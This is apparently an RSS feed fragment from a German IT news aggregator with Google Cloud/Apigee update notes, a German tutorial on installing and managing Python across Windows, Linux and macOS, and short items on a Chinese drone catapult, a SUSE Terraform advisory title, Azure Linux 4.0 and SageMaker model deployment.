<li><strong><span>Accelerate API Testing with the New Open Source API Tester<br></span></strong>Start validating your APIs with API Tester, a simple, YAML-based Test Driven Development (TDD) framework. Designed for the Apigee community, this tool allows you to write human-readable tests, run them instantly via a web client or CLI, and perform deep unit testing on Apigee proxies. With native support for JSONPath assertions and Apigee shared flows, you can verify everything from payload data to internal variables like <code>proxy.basepath</code><span> without leaving your terminal.<br><br></span><a href="https://goo.gle/4q5WDGK" rel="noopener" target="_blank"><span>Explore the API Tester guide and start testing your proxies today.</span></a></li>
<li><strong><span>Secure Sensitive Data with Kubernetes Secrets in Apigee hybrid<br></span></strong>Enhance security in Apigee hybrid by accessing Kubernetes Secrets directly within your API proxies. This hybrid-exclusive feature keeps sensitive credentials within your cluster boundary and prevents replication to the management plane. It supports strict separation of duties: operators manage secrets via <code>kubectl</code><span>, while developers reference them as secure flow variables—ideal for high-compliance and GitOps workflows.<br><br></span><a href="https://goo.gle/4qEVffo" rel="noopener" target="_blank"><span>Implement Kubernetes Secrets in your hybrid proxies.</span></a></li>
<li><strong><span>See the Console in a Whole New Light: Dark Mode is Now Generally Available in Google Cloud<br></span></strong>Elevate your cloud management workflow with Dark Mode, now generally available in the Google Cloud console. We have delivered a modern, cohesive, and accessible experience reimagined for maximum comfort and productivity—especially during extended working hours and low-light environments. Dark Mode can be enabled automatically based on your operating system's preference, or manually through the Settings  -&gt; Appearance menu.<br><br><a href="https://docs.cloud.google.com/docs/get-started/console-appearance"><span>Switch to Dark Mode today to enjoy a modern, comfortable, and productive environment!</span></a></li>
<li><strong><span>Apigee X Networking: PSC or VPC Peering?<br></span></strong>Deciding how to connect Apigee X? Watch this video to compare Private Service Connect and VPC Peering. We break down northbound and southbound routing, IP consumption, and how to reach targets on-prem or in the cloud. Learn to simplify your architecture and avoid common networking "gotchas" for a smoother deployment.<br><br><a href="https://goo.gle/4bWBGdV" rel="noopener" target="_blank"><span>Watch the video.</span></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 19 - Jan 23</h3>
<ul>
<li><strong>Bridge the Gap: Excel-to-API Conversion in Apigee Portals<br></strong><span>Give your customers more ways to connect! This new article by Tyler Ayers explores how to extend the Apigee Integrated Portal to support direct Excel file uploads. By leveraging SheetJS and custom portal scripts, you can enable users to upload spreadsheets, preview data, and submit it directly to your APIs, all without writing a single line of integration code themselves. It’s a powerful way to simplify onboarding for those who aren't yet API-ready.<br><br></span><a href="https://goo.gle/3Nq3Pjo" rel="noopener" target="_blank"><span>Learn how to build it</span></a><span>.</span></li>
<li><strong>Elevate your applications with Firestore’s new advanced query engine<br></strong><span>We have fundamentally reimagined Firestore with pipeline operations for Enterprise edition. Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.<br><br></span><a href="https://cloud.google.com/blog/products/data-analytics/new-firestore-query-engine-enables-pipelines?e=48754805"><span>Learn more about Firestore pipeline operations.</span></a></li>
</ul></div>]]></content:encoded>
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<item>
<title><![CDATA[Tutorial: Python richtig installieren]]></title>
<description><![CDATA[Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten.
					Foto: Flegere – shutterstock.com




Mit der einsteiger- und benutzerfreundlichen Programmiers...]]></description>
<link>https://tsecurity.de/de/3662673/it-security-nachrichten/tutorial-python-richtig-installieren/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662673/it-security-nachrichten/tutorial-python-richtig-installieren/</guid>
<pubDate>Sun, 12 Jul 2026 05:09:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten." title="Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten." src="https://images.computerwoche.de/bdb/3284280/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten.</p></figcaption></figure><p class="imageCredit">
					Foto: Flegere – shutterstock.com</p></div>




<p>Mit der einsteiger- und benutzerfreundlichen Programmiersprache <a title="Python" href="https://www.computerwoche.de/article/2815440/die-zukunft-der-python-webentwicklung.html" target="_blank">Python</a> können Sie nahezu jede erdenkliche <a title="Applikation coden" href="https://www.computerwoche.de/article/2805928/die-besten-profiler.html" target="_blank">Applikation coden</a>. Aber es ist eben auch nur eine Software wie jede andere – Installation und Management können mitunter komplex ausfallen. Wir verraten Ihnen, wie Sie <a title="Python" href="https://www.computerwoche.de/article/2762025/python-lernen-leicht-gemacht.html" target="_blank">Python</a> aufsetzen, die richtige Version für Ihre Zwecke ermitteln und mögliche Fallstricke bei der Installation unter <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/windows-10,3530" target="_blank">Windows</a>, <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank">Linux</a> und MacOS vermeiden.</p>



<h2 class="wp-block-heading">Die richtige Python-Version ermitteln</h2>



<p>Um die Kompatibilität mit Drittanbieter-Modulen gewährleisten zu können, sollten Sie nicht auf die neueste Python-Version setzen. Stattdessen empfiehlt sich die letzte große Versionierung. Aktuell (Stand: Juni 2026) ist Python 3.14.6 die neueste Version. Um sicherzugehen, dass alles läuft, sollten Sie sich also für die letzte Revision von Python 3.13 entscheiden. Natürlich können Sie die neueste Python-Version jederzeit in einer geschützten Umgebung – etwa einer <a title="virtuellen Maschine" href="https://www.computerwoche.de/article/2814705/was-sind-virtual-machines.html" target="_blank">virtuellen Maschine</a> – austesten.</p>



<p>Von Python existieren darüber hinaus auch <a href="https://www.computerwoche.de/article/2827828/10-python-distributionen-im-ueberblick.html" title="verschiedene Distributionen" target="_blank">verschiedene Distributionen</a> – ganz ähnlich wie das <a href="https://www.computerwoche.de/article/2744146/die-linux-geschichte.html" title="bei Linux" target="_blank">bei Linux</a> der Fall ist. Allerdings ist die Programmiersprache, im Gegensatz zu <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>, auch in einer offiziellen Version erhältlich, die Sie als Fallback-Option nutzen können: CPython wird von der Python Software Foundation <a href="https://www.python.org/" title="zur Verfügung gestellt" target="_blank" rel="noopener">zur Verfügung gestellt</a> und ist die sicherste und kompatibelste Distribution. Mit anderen Python-Distributionen für spezifische Use Cases können Sie zu einem späteren Zeitpunkt jederzeit experimentieren.</p>



<p>Ein wesentlicher Punkt bei der Wahl der Python-Distribution – insbesondere unter Windows – ist die Entscheidung zwischen der 32-Bit- und der 64-Bit-Version. Sehr wahrscheinlich werden Sie sich für letztere entscheiden, denn:</p>



<ul class="wp-block-list">
<li><p>die meisten modernen Betriebssysteme arbeiten standardmäßig mit der 64-Bit-Version von Python. Windows-Nutzer können die 32-Bit-Versionen der <a title="Coding-Sprache" href="https://www.computerwoche.de/article/2813209/11-wege-ihre-softwareentwicklung-neu-zu-definieren.html" target="_blank">Coding-Sprache</a> auch mit einem 64-Bit-Windows betreiben, müssen sich aber auf leichte Performance-Einbußen einstellen.</p></li>



<li><p>32-Bit-Applikationen – auch Python – können zeitgleich auf maximal 4 GB Arbeitsspeicher zugreifen. Dieses Limit kennen 64-Bit-Apps nicht. Hinzu kommt, dass viele Datenanalyse- und Machine-Learning-Tools innerhalb einer 64-bit-Umgebung am besten laufen.</p></li>
</ul>



<p>Für die 32-Bit-Version von Python sollten Sie sich lediglich dann entscheiden, wenn Sie auch ein 32-Bit-Windows oder ein Drittanbieter-Modul nutzen (müssen), welches lediglich als 32-Bit-Version vorliegt.</p>



<h2 class="wp-block-heading">Python unter Windows installieren</h2>



<p>Wie bei nahezu jeder Applikation unter Windows läuft auch die Installation von Python über einen Installer ab, der Sie durch den Setup-Prozess geleitet. Standardmäßig legt der Python-Installer .exe-Dateien unter Windows im App-Data-Verzeichnis des jeweiligen Nutzers ab – so dass keine Administratorrechte für die Installation benötigt werden.</p>



<p><strong>Den richtige Python Installer für Windows finden</strong></p>



<p><a title="Python.org" href="https://www.python.org/downloads/windows/" target="_blank" rel="noopener">Python.org</a> stellt mehrere verschiedene <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/windows-10,3530" target="_blank">Windows</a> Installer zur Verfügung. Neben der 32-Bit- (x86) und der 64-Bit-Version (x86-64) auch eine Version für Windows-ARM-Systeme, ein embeddable Zip File, eine .exe-Datei sowie einen webbasierten Installer. Diese unterscheiden sich wie folgt:</p>



<ul class="wp-block-list">
<li><p>Der .<strong>exe Installer</strong> ist lediglich eine ausführbare Datei, die den Installationsprozess von Python startet – das ist die gängigste und simpelste Lösung.</p></li>



<li><p>Der <strong>webbasierte Installer</strong> ist im Grunde identisch zu seinem .exe-Pendant, mit dem Unterschied, dass es die Dateien, die für die Installation nötig sind, separat herunterlädt. Dadurch reduziert sich die Größe des Installers drastisch, allerdings ist eine Netzwerkverbindung zwingend erforderlich.</p></li>



<li><p>Das <strong>embeddable Zip File</strong> ist eine in sich geschlossene, auf das Minimum reduzierte Kopie der <a title="Python-Laufzeitumgebung" href="https://www.computerwoche.de/article/2816760/der-bessere-weg-python-zu-kompilieren.html" target="_blank">Python-Laufzeitumgebung</a>. Das ist nützlich, wenn Sie eine Python-Applikation manuell verteilen oder schnell etwas testen wollen. Allerdings enthält dieser Installer keines der nützlichen Tools, die die anderen Versionen an Bord haben.</p></li>
</ul>



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<p><strong>Python mit einem Package Manager unter Windows installieren</strong></p>



<p>Eine weitere Option unter <a href="https://www.computerwoche.de/k/windows-10,3530" target="_blank" class="idgGlossaryLink">Windows</a> ist die Nutzung des betriebssystemeigenen Package-Management-Systems NuGet. Der Package Manager für .NET hat auch <a href="https://www.nuget.org/packages/python/" title="Python im Angebot" target="_blank" rel="noopener">Python im Angebot</a>, allerdings als Komponente für .NET-Applikationen und nicht, um als Installer für eine Standalone-Version von Python zum Einsatz zu kommen. Das Management Ihrer Python-Instanz dürfte sich deshalb mit einer regulären Installation einfacher gestalten.</p>



<p>Auch das <a href="https://www.computerwoche.de/k/windows-10,3530" target="_blank" class="idgGlossaryLink">Windows</a> Package Management System Chocolatey <a href="https://chocolatey.org/packages/python/3.8.2" title="stellt Python zur Verfügung" target="_blank" rel="noopener">stellt Python zur Verfügung</a>. Das ist im Vergleich zu NuGet in der Regel die bessere Option, weil Ihr System dabei auf eine vorhandene Python-Laufzeitumgebung überprüft wird. Allerdings sollten Sie vermeiden, reguläre Installationen und solche mit Chocolatey auf einem System zu vermischen.</p>



<h2 class="wp-block-heading">Python unter Linux installieren</h2>



<p>Weil <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-Distributionen teilweise erhebliche Unterschiede aufweisen, sollten Sie bei der Installation von Python unter dem <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Open-Source</a>-Betriebssystem auch auf den Package Manager der jeweiligen Distribution zurückgreifen. Die Vorgehensweise bei der Installation unterscheidet sich beispielsweise im Fall von <a href="https://docs.python-guide.org/starting/install3/linux/" title="Ubuntu" target="_blank" rel="noopener">Ubuntu</a> und <a href="https://developer.fedoraproject.org/tech/languages/python/multiple-pythons.html" title="Fedora" target="_blank" rel="noopener">Fedora</a> grundlegend. Das Installations-Zielverzeichnis orientiert sich dabei im Regelfall an der Python-Versionsnummer (<em>/usr/bin/python3.x</em>).</p>



<p>Ein Weg, die Komplexität im Umgang mit <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-Package-Managern zu umgehen ist die Nutzung einer Container-basierten Python-Laufzeitumgebung. <a href="https://www.computerwoche.de/article/2786849/7-security-tools-fuer-docker-und-kubernetes.html" title="Container" target="_blank">Container</a> sind vom Rest des Systems isoliert – Sie müssen sich also auch keine Gedanken darüber machen, dass unterschiedliche Python-Laufzeitumgebungen Konflikte verursachen. Falls Sie keine Erfahrungen im Umgang mit Containern haben, müssen Sie allerdings ein wenig Zeit und Mühe einplanen, um sich <a href="https://www.infoworld.com/article/2176798/docker-tutorial-get-started-with-docker.html" title="mit der Materie vertraut zu machen" target="_blank">mit der Materie vertraut zu machen</a>. </p>



<p>Das Tool <a href="https://asdf-vm.com/#/" title="asdf-vm" target="_blank" rel="noopener">asdf-vm</a> ist hilfreich, um mehrere Python-Laufzeitumgebungen auf <a href="https://www.computerwoche.de/article/2795308/pentester-software-statt-betriebssystem.html" title="Unix-basierten Systemen" target="_blank">Unix-basierten Systemen</a> (<a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a> und MacOS) zu managen. Dabei beschränkt sich das Tool nicht auf Python: auch mehrere Laufzeitumgebungen für Node.js, Ruby, Elixir und viele weitere Programmiersprachen können mit asdf-vm unter einen Hut gebracht werden.</p>



<h2 class="wp-block-heading">Python unter MacOS installieren</h2>



<p>Apples MacOS wurde lange mit einer vorinstallierten Python-Version ausgeliefert – allerdings kam dabei keine Version zum Einsatz, die neuer als 2.7 war. Das führte mit der Veröffentlichung von Python 3.0 des Öfteren zu Problemen beziehungsweise Konflikten. Die <a href="https://docs.python.org/3/using/mac.html" title="offizielle Python-Dokumentation" target="_blank" rel="noopener">offizielle Python-Dokumentation</a> geht am Rande auf dieses Problem ein, stellt als Lösungsansatz allerdings nur die Empfehlung bereit, den richtigen Pfad für die entsprechende Python-Instanz zu wählen.</p>



<p>Die Nutzung des <a href="https://www.infoworld.com/article/2258320/homebrew-tutorial-how-to-use-homebrew-for-macos.html" title="Homebrew Package Managers" target="_blank">Homebrew Package Managers</a> stellt einen gängigen Weg dar, um Python-Laufzeitumgebungen unter MacOS zu managen. Dieser stellt ein konsistentes Interface für Download, (De-)Installation und Management von Python zur Verfügung. </p>



<h2 class="wp-block-heading">Python Packages installieren</h2>



<p>Wenn Sie die Grundinstallation von Python abgeschlossen haben, sollten Sie im nächsten Schritt nicht direkt mit Pip (der Python Package Manager) die Packages installieren – selbst, wenn Sie Python nur für ein einzelnes Projekt nutzen wollen. Stattdessen empfiehlt es sich, virtuelle Python-Umgebungen aufzusetzen und die Packages innerhalb dieser Umgebungen zu installieren. So bleibt die Basis-Installation “clean”.</p>



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<p>Eine Vielzahl von Projekten mit virtuellen Umgebungen zu managen, kann sich anspruchsvoll gestalten. Hier empfiehlt sich ein Blick auf das <a href="https://www.infoworld.com/article/3527850/better-python-project-management-with-poetry.html" title="Kommandozeilen-Tool Poetry" target="_blank">Kommandozeilen-Tool Poetry</a>.</p>



<h2 class="wp-block-heading">Mehrere Python-Versionen parallel installieren</h2>



<p>Richtig knifflig wird es, wenn mehrere verschiedene Versionen der <a href="https://www.computerwoche.de/article/2779444/eine-kleine-geschichte-der-programmiersprachen.html" title="Programmiersprache" target="_blank">Programmiersprache</a> parallel installiert werden sollen. Hier sollten Sie insbesondere zwei Dinge beachten:</p>



<ul class="wp-block-list">
<li><p>Installieren Sie jede Python-Version immer in <strong>einem eigenen Verzeichnis</strong>.</p></li>



<li><p>Stellen Sie sicher, dass die Systempfade <strong>zuerst auf die Python-Version verweisen</strong>, die standardmäßig zum Einsatz kommen soll.</p></li>
</ul>



<p>Die Einrichtung virtueller Umgebungen für jedes einzelne Projekt ist wärmstens zu empfehlen, wenn unterschiedliche Python-Versionen parallel zum Einsatz kommen sollen: So stellen Sie sicher, dass bei Aktivierung der entsprechenden virtuellen Umgebung immer automatisch die richtige Version der Coding-Sprache zum Einsatz kommt. Windows-Nutzern steht in diesem Zusammenhang mit der Py Launcher App eine weitere Option zur Verfügung. Diese kann im Rahmen des Installationsprozesses hinzugefügt werden und ermöglicht Ihnen, über Kommandozeilen-Flags auszuwählen, welche Python-Version für das jeweilige Script zum Einsatz kommen soll.</p>



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<p><strong>Mehrere Python-Versionen unter Windows managen</strong></p>



<p>Bislang war es nicht wirklich möglich, unter Windows installierte Python-Versionen zu managen. Das ändert sich ab Version 3.14 mit einem Tool, das das Python-Kernteam neu entwickelt hat. Der <a href="https://peps.python.org/pep-0773" target="_blank" rel="noreferrer noopener">Python Installation Manager for Windows</a> ist soll künftig das Mittel der Wahl darstellen, um Installationen unter Windows zu verwalten. Weil der neue Installation Manager selbst nur eine normale Windows-App ist, gibt es mehrere Möglichkeiten, diesen zu installieren. Das funktioniert über:  </p>



<ul class="wp-block-list">
<li>den <a href="https://apps.microsoft.com/detail/9nq7512cxl7t?hl=en-US&amp;gl=US" target="_blank" rel="noreferrer noopener">Microsoft Store</a>,</li>



<li>die offizielle Python-Website per <a href="https://www.python.org/downloads/release/pymanager-250b9/" target="_blank" rel="noreferrer noopener">Direkt-Download</a>, oder</li>



<li>den <a href="https://www.infoworld.com/article/2334832/intro-to-winget-microsofts-package-manager-for-windows.html" target="_blank">WinGet</a>-Paketmanager (<code>winget install 9NQ7512CXL7T</code>).</li>
</ul>



<p>Das bisherige <code>py</code>-Tool soll künftig durch den Installation Manager ersetzt werden, wobei das neue Tool das alte in Sachen Funktionalität deutlich übertrifft. Die Befehle, die zuvor funktioniert haben, können weiterhin verwendet werden. Einen nützlichen Überblick über alle wichtigen Kommandos rufen Sie mit <code>py help</code> auf:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-2.png" alt="Python Installation Manager help options" class="wp-image-4001984" width="835" height="799" sizes="auto, (max-width: 835px) 100vw, 835px"></figure><p class="imageCredit">IDG</p></div>



<p>Um einzusehen, welche Python-Versionen bereits auf Ihrem Windows-System vorhanden sind, nutzen Sie den Befehl <code>py list</code>:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-4.png?w=1024" alt="Python Installation Manager listing versions of installed Python" class="wp-image-4001985" width="1024" height="310" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">IDG</p></div>



<p>Wenn Sie an bereits installierten Python-Instanzen Änderungen vornehmen möchten, müssen Sie diese manuell entfernen und anschließend mit dem Installation Manager neu installieren. Das ist denkbar einfach:</p>



<ul class="wp-block-list">
<li>Python-Versionen fügen Sie mit <code>py install <version></version></code> hinzu,</li>



<li>rufen diese nach der Installation mit <code>py -<version></version></code> auf, und</li>



<li>nutzen <code>py uninstall <version></version></code> für die Deinstallation.</li>
</ul>



<p>Um zu sehen, welche Python-Versionen über den Manager verfügbar sind, nutzen Sie <code>py list --online</code>. Die hier gelisteten Python-Installationen lassen sich zudem mit dem Befehl <code>py list -f=json</code> im JSON-Format exportieren (CSV und JSONL sind ebenfalls verfügbar). Die standardmäßige Python-Version wird in der Auflistung durch ein Sternchen markiert:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image_1168.png" alt="Default version of Python (3.14) shown with asterisk in Python Installation Manager" class="wp-image-4001989" width="686" height="249" sizes="auto, (max-width: 686px) 100vw, 686px"></figure><p class="imageCredit">IDG</p></div>



<p>Sobald Sie den Befehl <code>py</code> eingeben, wird diese Standard-Version aufgerufen. Falls Sie das ändern möchten, können Sie eine Umgebungsvariable definieren. Um etwa Python 3.12 als Standardversion festzulegen, würden Sie Powershell mit folgendem Kommando füttern:  </p>



<p><code>$Env:PYTHON_MANAGER_DEFAULT=„3.12“</code></p>



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<p>Ein Befehl wie <code>py install</code> könnte allerdings leicht mit vorkonfigurierten Befehlen in virtuellen Umgebungen oder mit einem anderen Alias kollidieren. Um das zu vermeiden, können Sie <code>pymanager</code> als eindeutigen Namen für den Installation Manager nutzen. Alle Befehle bleiben dabei unverändert, lediglich der Name der Executable ändert sich.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-8.png" alt='Running the Python Installation Manager with the "pymanager" alias instead of "py"' class="wp-image-4001991" width="853" height="875" sizes="auto, (max-width: 853px) 100vw, 853px"></figure><p class="imageCredit">IDG</p></div>



<p>Darüber hinaus ist es auch möglich, die Windows App Execution Aliases für Befehle wie <code>python</code> und <code>python3</code> anzupassen. Dazu geben Sie lediglich <code>py install --configure</code> ein. Sie werden dann aufgefordert, die Aliase Ihres Systems zu ändern:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-3.png" alt="Prompt to manage Windows app execution aliases from the Python Installation Manager" class="wp-image-4001992" width="835" height="324" sizes="auto, (max-width: 835px) 100vw, 835px"></figure><p class="imageCredit">IDG</p></div>



<h2 class="wp-block-heading">Python richtig upgraden</h2>



<p>Weniger umfangreiche Python-Revisionen (etwa von 3.7.2 auf 3.7.3) stellen im Regelfall kein Problem dar: Unter <a href="https://www.computerwoche.de/k/windows-10,3530" target="_blank" class="idgGlossaryLink">Windows</a> erkennt der Installer automatisch die installierte Version und stößt das entsprechende Upgrade an – unter <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a> und MacOS in der Regel ebenso. Allerdings müssen auch alle virtuellen Umgebungen, die Sie erstellt haben, mit einem Upgrade versehen werden – das geschieht nicht automatisch.</p>



<p>Bei großen Revisionen (etwa von 3.12 auf 3.13) sollten Sie hingegen neue virtuelle Umgebungen innerhalb der einzelnen Projektverzeichnisse erstellen. Die meisten IDEs die Python unterstützen (zum Beispiel <a title="Microsoft Visual Studio Code" href="https://www.computerwoche.de/article/2815427/so-finden-sie-zum-richtigen-entwicklungs-tool.html" target="_blank">Microsoft Visual Studio Code</a>), erkennen das automatisch und ermöglichen Ihnen, zwischen den verschiedenen virtuellen Umgebungen hin- und her zu wechseln.</p>



<p><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/2256282/how-to-install-python-the-smart-way.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
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<title><![CDATA[No runway, no problem: China demonstrates drone catapult made up of three trucks that interlock like Lego bricks and come in shipping containers]]></title>
<description><![CDATA[China seems to have solved one of the biggest logistics challenges of using larger drones across various environments by using trucks to form a launch system.]]></description>
<link>https://tsecurity.de/de/3662432/it-nachrichten/no-runway-no-problem-china-demonstrates-drone-catapult-made-up-of-three-trucks-that-interlock-like-lego-bricks-and-come-in-shipping-containers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662432/it-nachrichten/no-runway-no-problem-china-demonstrates-drone-catapult-made-up-of-three-trucks-that-interlock-like-lego-bricks-and-come-in-shipping-containers/</guid>
<pubDate>Sat, 11 Jul 2026 23:16:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[China seems to have solved one of the biggest logistics challenges of using larger drones across various environments by using trucks to form a launch system.]]></content:encoded>
</item>
<item>
<title><![CDATA[Denial of Service in terraform-provid, terraform-provider-aws, terraform-provider-azurerm, terraform-provider-external, terraform-provider-google, terraform-provider-helm und terraform-provider-kubernetes (SUSE)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3660878/it-security-nachrichten/denial-of-service-in-terraform-provid-terraform-provider-aws-terraform-provider-azurerm-terraform-provider-external-terraform-provider-google-terraform-provider-helm-und-terraform-provider-kubernetes-suse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660878/it-security-nachrichten/denial-of-service-in-terraform-provid-terraform-provider-aws-terraform-provider-azurerm-terraform-provider-external-terraform-provider-google-terraform-provider-helm-und-terraform-provider-kubernetes-suse/</guid>
<pubDate>Sat, 11 Jul 2026 00:04:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
</item>
<item>
<title><![CDATA[Azure Linux 4.0 Released: Microsoft Expands Its Enterprise Linux Platform Beyond the Cloud]]></title>
<description><![CDATA[by George Whittaker
      
            Microsoft has officially unveiled Azure Linux 4.0, the latest version of its open-source Linux distribution designed for cloud infrastructure, enterprise workloads, and modern data centers. Formerly known as CBL-Mariner, Azure Linux has powered Microsoft's i...]]></description>
<link>https://tsecurity.de/de/3660252/unix-server/azure-linux-40-released-microsoft-expands-its-enterprise-linux-platform-beyond-the-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660252/unix-server/azure-linux-40-released-microsoft-expands-its-enterprise-linux-platform-beyond-the-cloud/</guid>
<pubDate>Fri, 10 Jul 2026 17:46:49 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-history-node-id="1341443" class="layout layout--onecol">
    <div class="layout__region layout__region--content">
      
            <div class="field field--name-field-node-image field--type-image field--label-hidden field--item">  <img loading="lazy" src="https://www.linuxjournal.com/sites/default/files/nodeimage/story/azure-linux-4-0-released-microsoft-expands-its-enterprise-linux-platform-beyond-the-cloud.jpg" width="850" height="500" alt="Azure Linux 4.0 Released: Microsoft Expands Its Enterprise Linux Platform Beyond the Cloud" typeof="foaf:Image" class="img-responsive"></div>
      
            <div class="field field--name-node-author field--type-ds field--label-hidden field--item">by <a title="View user profile." href="https://www.linuxjournal.com/users/george-whittaker" lang="" about="https://www.linuxjournal.com/users/george-whittaker" typeof="schema:Person" property="schema:name" datatype="" xml:lang="">George Whittaker</a></div>
      
            <div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p>Microsoft has officially unveiled <strong>Azure Linux 4.0</strong>, the latest version of its open-source Linux distribution designed for cloud infrastructure, enterprise workloads, and modern data centers. Formerly known as <strong>CBL-Mariner</strong>, Azure Linux has powered Microsoft's internal cloud services for years, but version 4.0 marks its biggest evolution yet by becoming a <strong>general-purpose server operating system</strong> that organizations can deploy both inside and outside Azure.</p>

<p>The release introduces updated core components, expanded hardware support, a predictable long-term lifecycle, and improved compatibility for enterprise environments, reinforcing Microsoft's growing investment in the Linux ecosystem.</p>

<h2><strong>A New Chapter for Azure Linux</strong></h2>

<p>Azure Linux began as Microsoft's internal operating system for Azure services, containers, and cloud infrastructure. Over time, it evolved into the foundation for many Azure-hosted workloads.</p>

<p>With Azure Linux 4.0, Microsoft is positioning the distribution as a broader enterprise Linux platform rather than one limited to Azure infrastructure. The operating system is now available through Azure virtual machine images, container images, and downloadable ISO files for testing and deployment in a wider range of environments.</p>

<h2><strong>Built for Enterprise and Cloud Workloads</strong></h2>

<p>Unlike desktop-focused Linux distributions, Azure Linux is optimized for infrastructure, virtualization, containers, and cloud-native applications.</p>

<p>Typical deployment scenarios include:</p>

<ul><li>Cloud virtual machines</li>
	<li>Kubernetes clusters</li>
	<li>Container hosts</li>
	<li>AI infrastructure</li>
	<li>Edge computing</li>
	<li>Enterprise servers</li>
</ul><p>Microsoft has designed the distribution to provide a consistent operating system foundation across Azure services while remaining suitable for on-premises deployments.</p>

<h2><strong>Updated Core Components</strong></h2>

<p>Azure Linux 4.0 modernizes much of the operating system's software stack.</p>

<p>Highlights include:</p>

<ul><li><strong>Linux Kernel 7.0</strong></li>
	<li><strong>glibc 2.42</strong></li>
	<li><strong>OpenSSL 3.5</strong></li>
	<li><strong>Python 3.13</strong></li>
	<li><strong>OpenSSH 10</strong></li>
	<li><strong>dnf5</strong> as the default package manager</li>
</ul><p>These updates improve hardware compatibility, application support, security, and overall system performance while providing developers with a more current software platform.</p>

<h2><strong>Security Remains a Primary Focus</strong></h2>

<p>Security continues to be one of Azure Linux's defining characteristics.</p>

<p>Version 4.0 includes:</p></div>
      
            <div class="field field--name-node-link field--type-ds field--label-hidden field--item">  <a href="https://www.linuxjournal.com/content/azure-linux-40-released-microsoft-expands-its-enterprise-linux-platform-beyond-cloud" hreflang="en">Go to Full Article</a>
</div>
      
    </div>
  </div>]]></content:encoded>
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<title><![CDATA[Deploying quantized models on Amazon SageMaker AI with Unsloth]]></title>
<description><![CDATA[In this post, you will learn four deployment patterns for taking models that have already been quantized with Unsloth and deploying them on AWS infrastructure. The patterns use Amazon Elastic Compute Cloud (Amazon EC2) for direct instance access, Amazon SageMaker AI inference endpoints for manage...]]></description>
<link>https://tsecurity.de/de/3660212/ai-nachrichten/deploying-quantized-models-on-amazon-sagemaker-ai-with-unsloth/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660212/ai-nachrichten/deploying-quantized-models-on-amazon-sagemaker-ai-with-unsloth/</guid>
<pubDate>Fri, 10 Jul 2026 17:35:15 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
